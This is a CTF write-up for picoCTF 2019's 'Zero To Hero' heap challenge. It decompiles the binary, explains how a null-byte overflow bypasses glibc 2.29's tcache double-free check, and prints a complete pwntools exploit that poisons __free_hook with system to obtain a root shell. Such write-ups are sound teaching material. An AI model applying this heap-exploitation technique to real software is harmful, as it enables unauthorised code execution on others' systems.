Zero To Hero
This was a fun challenge from picoctf 2019. It was rated 500 points and had very few solves during the ctf. Although it wasn’t that tough.
Description
Now you’re really cooking. Can you pwn this service?. Connect with nc 2019shell1.picoctf.com 49929
. libc.so.6 ld-2.29.so
Quick Overview
It’s a 64 bit dynamically linked elf executable -
root@kali:~/picoctf-2019/zero_to_hero# file ./zero_to_hero
./zero_to_hero: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /root/picoctf-2019/ld-2.29.so, for GNU/Linux 3.2.0, BuildID[sha1]=cf8bd977ca01d23e9b004a6dc637d6ab7c56e656, stripped
Running checksec -
root@kali:~/picoctf-2019/zero_to_hero# checksec ./zero_to_hero
[*] '/root/picoctf-2019/zero_to_hero/zero_to_hero'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
RUNPATH: './'
Checksec shows us that Everything except PIE is enabled. We’ll later see that our solution works regardless of PIE.
Running the binary -
From Zero to Hero
So, you want to be a hero?
y
Really? Being a hero is hard.
Fine. I see I can't convince you otherwise.
It's dangerous to go alone. Take this: 0x7f777a154ff0
1. Get a superpower
2. Remove a superpower
3. Exit
>
When we run it, it asks us y/n we send y and it loads the main program. It leaks us an address (probably some libc address?).
Decompiling & Analyzing the code
main function -
void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
int v3; // [rsp+Ch] [rbp-24h]
char buf[24]; // [rsp+10h] [rbp-20h]
unsigned __int64 v5; // [rsp+28h] [rbp-8h]
v5 = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
puts("From Zero to Hero");
puts("So, you want to be a hero?");
buf[read(0, buf, 0x14uLL)] = 0;
if ( buf[0] != 121 )
{
puts("No? Then why are you even here?");
exit(0);
}
puts("Really? Being a hero is hard.");
puts("Fine. I see I can't convince you otherwise.");
printf("It's dangerous to go alone. Take this: %p\n", &system);
while ( 1 )
{
while ( 1 )
{
sub_400997();
printf("> ");
v3 = 0;
__isoc99_scanf("%d", &v3);
getchar();
if ( v3 != 2 )
break;
sub_400BB3();
}
if ( v3 == 3 )
break;
if ( v3 != 1 )
goto LABEL_10;
sub_400A4D();
}
puts("Giving up?");
LABEL_10:
exit(0);
}
create superpower -
unsigned __int64 sub_400A4D()
{
__int64 v0; // rbx
size_t size; // [rsp+0h] [rbp-20h]
unsigned __int64 v3; // [rsp+8h] [rbp-18h]
v3 = __readfsqword(0x28u);
LODWORD(size) = 0;
HIDWORD(size) = sub_4009C2();
if ( (size & 0x8000000000000000LL) != 0LL )
{
puts("You have too many powers!");
exit(-1);
}
puts("Describe your new power.");
puts("What is the length of your description?");
printf("> ");
__isoc99_scanf("%u", &size);
getchar();
if ( (unsigned int)size > 0x408 )
{
puts("Power too strong!");
exit(-1);
}
*((_QWORD *)&unk_602060 + SHIDWORD(size)) = malloc((unsigned int)size);
puts("Enter your description: ");
printf("> ");
v0 = *((_QWORD *)&unk_602060 + SHIDWORD(size));
*(_BYTE *)(v0 + read(0, *((void **)&unk_602060 + SHIDWORD(size)), (unsigned int)size)) = 0;
puts("Done!");
return __readfsqword(0x28u) ^ v3;
}
delete superpower -
unsigned __int64 sub_400BB3()
{
unsigned int v1; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
v1 = 0;
puts("Which power would you like to remove?");
printf("> ");
__isoc99_scanf("%u", &v1);
getchar();
if ( v1 > 6 )
{
puts("Invalid index!");
exit(-1);
}
free(*((void **)&unk_602060 + v1));
return __readfsqword(0x28u) ^ v2;
}
- Looking at the main function, it leaks the address of system as we saw earlier.
- Option 1 allows to create a super power and option 2 to delete a superpower.
- We can only create chunks with size less than 0x408 and we can create only malloc 7 times which means we are limited to tcache.
- Input is taken through the read function, So we can have null bytes in our payload.
- There is a null byte overflow bug while reading the description.
- We have a double free in the delete superpower function as the pointer is not nulled after it’s freed.
Exploitation
Now that we have a double free bug, we could simply free it twice and do tcache poisoning and all but that won’t work because it’s using libc 2.29 and not libc 2.27.
There was a mitigation introduced in libc 2.28 because of which you can no longer double free chunks.
We can look at the definition of tcache_entry here - https://elixir.bootlin.com/glibc/glibc-2.29/source/malloc/malloc.c#L2904
typedef struct tcache_entry
{
struct tcache_entry *next;
struct tcache_perthread_struct *key;
} tcache_entry;
It uses the tcache_perthread_struct struct to detect double frees. When a chunk is freed, the key value is set to the address of tcache_perthread_struct for that size. When a chunk is returned from the tcache list, the key value is cleared. Thus, it would be very unusual to have the address of tcache_perthread_struct set for the key position when the chunk is freed. So, if the tcache_perthread_struct address is found there, it iterates over the tcache list for that size and checks for a double free. If it does, it calls double free detected….
Now, one way would be to somehow nullify the key field of the chunk which is already freed. But this is not possible in our case.
But as we have a null byte overflow bug, the following can be done -
- Create two continuous chunks. (size of the second chunk should be > 0x100)
- Free the first and second chunks.
- Allocate the first chunk again.
- Use the null byte overflow on the first chunk and change the size of the second chunk.
- Now we can again free the second chunk, getting a double free.
malloc(0x18,'a') # First chunk
malloc(0x118,'b') # Second chunk
malloc(0x118,'c') # third chunk (just for tcache count)
free(0) # goes to 0x20 tcache bin
free(2) # goes to
free(1) # 0x120 tcache bin
malloc(0x18,'A'*0x18) #Allocate chunk 1 back from 0x20 tcache bin and do null byte overflow.
free(1) # chunk 2 size changed to 0x100 so we can double free it.
Now that we have a double free, we could simply do tcache poisoning into &__free_hook and write system. Then freeing a chunk pointing to “/bin/sh\0” will give us a shell.
malloc(0xf8,p64(libc.symbols['__free_hook'])) # tcache poisoning
malloc(0x118,'/bin/sh\x00')
malloc(0x118,p64(libc.symbols['system'])) # malloc returns &__free_hook
free(1) # system("/bin/sh")
Final exploit -
#!/usr/bin/env python
from pwn import *
p = process('./zero_to_hero')
e = ELF('./zero_to_hero')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def malloc(size,data):
p.sendlineafter('> ','1')
p.sendlineafter('> ',str(size))
p.sendafter('> ',data)
def free(idx):
p.sendlineafter('> ','2')
p.sendlineafter('> ',str(idx))
def die():
p.sendlineafter('> ','3')
p.sendlineafter('?\n','y')
for i in xrange(2):
p.recvline()
system = int(p.recvline().strip().split(' ')[-1],16)
libc.address = system-libc.symbols['system']
log.success('libc base at: '+hex(libc.address))
log.success('system at: '+hex(system))
log.success('free hook at: '+hex(libc.symbols['__free_hook']))
malloc(0x18,'a') # First chunk
malloc(0x118,'b') # Second chunk
malloc(0x118,'c') # third chunk (just for tcache count)
free(0) # goes to 0x20 tcache bin
free(2) # goes to
free(1) # 0x120 tcache bin
malloc(0x18,'A'*0x18) #Allocate chunk 1 back from 0x20 tcache bin and do null byte overflow.
free(1) # chunk 2 size changed to 0x100 so we can double free it.
malloc(0xf8,p64(libc.symbols['__free_hook'])) # tcache poisoning
malloc(0x118,'/bin/sh\x00')
malloc(0x118,p64(libc.symbols['system'])) # malloc returns &__free_hook
free(1) # system("/bin/sh")
p.interactive()
Running the exploit -
root@kali:~/bak/picoctf-2019/zero_to_hero# python exp.py
[+] Starting local process './zero_to_hero': pid 965814
[*] '/root/bak/picoctf-2019/zero_to_hero/zero_to_hero'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: './'
[*] '/lib/x86_64-linux-gnu/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] libc base at: 0x7fb33f4df000
[+] system at: 0x7fb33f525ff0
[+] free hook at: 0x7fb33f69b5a8
[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) groups=0(root)